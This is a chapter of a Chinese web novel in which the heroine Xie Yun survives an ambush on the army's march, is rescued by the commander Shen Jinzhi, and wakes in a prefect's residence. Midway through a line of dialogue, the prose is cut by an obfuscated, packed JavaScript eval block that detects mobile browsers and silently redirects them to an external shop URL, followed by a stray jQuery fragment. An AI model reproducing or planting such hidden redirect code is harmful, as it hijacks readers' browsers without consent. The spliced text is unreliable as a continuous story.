第二日,前路行军启程,谢蕴跟在江照寒身后,恨不能隐形。
沈烬之看着亦步亦趋跟来的谢蕴,目光又转向江照寒。
“她自己非要跟来的。”江照寒立刻就把她出卖了。
谢蕴不得已,从江照寒身后冒出来,顶着沈烬之审问的眼神说:“主帅大人,属下想与你们一道回去。您放心,属下绝对不会拖行军后退的!”
谢蕴眼神真诚,面对沈烬之她也不敢拿自己那点功劳说事,不然沈烬之肯定以为她是挟恩图报,万一后面不帮她出军队怎么办。
“我将她安排到辎重车上,不碍事,不然让她跟大军一起,以李将军的性子,真有可能杀了她。”江照寒还是帮着谢蕴说道。
沈烬之没有说话,只是看着她,谢蕴眼神清澈坦荡,略带祈求地与他对视。
沈烬之收回目光,翻身上马。
“启程。”
谢蕴松了口气,上了后方的辎重车。
他们行军速度不慢,又一路颠簸,谢蕴后背的伤本就未好全,这不分日夜的颠簸让她能够感觉到身后的皮肉正被一寸寸重新扯开,那般疼痛让她根本没法入睡。
她不知道自己还能坚持多久,但她必须熬住,只要到京城就好了,回到京城,是此刻支撑她的唯一执念。
江照寒看得出谢蕴的不对,可他每次询问谢蕴,得到的都是“我没事,我坚持得住”。
这股坚持的劲儿让江照寒都是有些佩服和费解。
谢蕴半倚着,掰着手数日子,大概还有三日就能抵达京城了。她百无聊赖地看着周围,这才突然发现,今日似乎格外安静,林子里以往的鸟叫声皆没有了,整条途周边只有马蹄和车轴滚动的声音,安静得令人有些不安。
许是她精神太过紧绷了。
可行军的速度的确是慢下来了,并且圈子在慢慢围拢。
谢蕴心知不对,默默抓住手边的铁杵。
就在气氛紧绷到极点之时,“咻——”一道破空声划过,一只箭矢速度极快朝最前方的沈烬之暴射去。
沈烬之仿佛早有准备,向后一仰,背脊贴着马背躲过羽箭偷袭。
林子两旁突然叫喊声震天,窜出两拨人,皆蒙着面,将他们团团围住,银白色的大刀闪着刺眼的光。
“有埋伏!大家小心!”
“给我上,杀了他们!”那领头充满杀意地怒喝一声,领着两拨人冲杀进队伍里,与军队厮杀在一起。
谢蕴看着陷入混战的队伍,刀剑碰撞的铮鸣声伴随着不断倒下的人影,让她紧张得胃里都是翻江倒海。
最后一名守在她身边的将士被大刀一把砍在胸口,“砰”的一声撞在辎重车的车轴上倒下,血溅到她的衣衫上,似乎还带着温热。
谢蕴面色苍白,眼看着那人继续举着大刀朝自己冲来,她握紧了手里的铁杵,咽了下口水,压住那将要冲破喉咙的呕意,在那人冲到自己面前举起大刀的同时,瞅准时机抓起一大把药材洒向那人的眼睛,借着短暂的空隙翻身下地堪堪躲过一击。
辎重车被一刀劈裂成两半,木屑纷飞。
谢蕴惊魂未定,动作又太大,那剧烈的皮肉绽开之感让她眼睛都有些花了,她用力一咬舌尖逼迫自己清醒过来,眼见那人气急败坏地朝自己冲过来,谢蕴逼着自己看清对方的动作,两只手攥紧铁杵,指尖发白,心里默念。
“阿爹,求您帮帮仪儿。”
大刀举起,寒光反射在谢蕴的脸上,在大刀落下瞬间,她还是不受控制地闭上了眼,举起铁杵打算拼力抵挡,可她意想之中的镇痛和刀劈并没有出现。
谢蕴睁开眼,面前的人眼珠暴凸,眉心处,一支箭矢精准穿透他的头颅。
大刀掉在地上,发出渗人的清脆。
谢蕴回过神,猛然转身向后看去,不远处的马上,沈烬之还保持着挽弓搭箭的姿势,目光穿过混乱的人群,与她遥遥相望。
在这混战一片的场面中,他依旧镇定异常,不见丝毫变色。
谢蕴还在发呆,沈烬之从箭匣里再次抽出一支箭,挽弓搭箭,朝谢蕴射出,擦着她的耳朵,射中身后要偷袭的人。
“谢蕴,你在发什么呆!你不要命了!还不快走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792210|210428||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!”江照寒挥舞着剑一路杀到谢蕴面前,他的脸上身上都是血迹,眼神带着冷厉,一把抓住谢蕴,拖着她冲杀回沈烬之的身边。
“烬之,现在怎么办!他们人数众多,这样下去我们的人撑不了太久!”
沈烬之骑在马上,随手将一名靠近的人斩杀,喝道:“照寒!带上些亲兵,随我突围!”
话音刚落,沈烬之微微俯身,将还在发呆的谢蕴捞到身前,一只手围住她勒紧缰绳,那边江照寒已经带着一部分还能坚持的亲兵赶到沈烬之身边。
“众将士,随我突围!”
谢蕴靠在沈烬之身前,耳边是沈烬之沉稳的心跳,明明周围厮杀叫喊声一片,可谢蕴却觉得,她的世界突然安静了。
耳边的声音渐渐远去,她终于坚持不住,眼前一黑昏了过去。
不知过了多久,谢蕴才悠悠转醒。
她慢慢睁开眼,待看清眼前的景象后,不禁又睁大了眼。
顶上是几根纵横交错的木梁,椽子排列得齐齐整整,屋外的光透过窗棂的素娟,柔软地铺在紫藤木桌案上。
这又是哪里?
谢蕴觉得自己好像每次醒来,都会在不同的地方。
她扶着肩,艰难坐起来,身后的伤也没这么疼了,应该是用过药了。
她正疑惑间,门“吱呀”一声被人推开,一名看着侍女打扮的人走了进来,见谢蕴已经醒了,笑道:“娘子醒了,可还有觉得哪里不适?”
谢蕴盯着她,有些警惕:“这是哪里?”
“娘子莫急,这里是湘城太守邱大人的郡舍,娘子伤势未愈,切不可乱动。”
湘城太守?他们现在是在湘城了?
“对了,主...陵国公呢?”
“回娘子话,陵国公与江大人在前厅和邱大人在一起。”
前厅。
沈烬之一身黑色长衫,坐在平日邱胡天的位置上,一只白皙匀称、骨节分明的手从宽大的黑色袖袍里探出,一下一下地摩挲着靠椅边,神情冷肃。
湘城太守邱胡天跪在堂下,鬓边冷汗直流。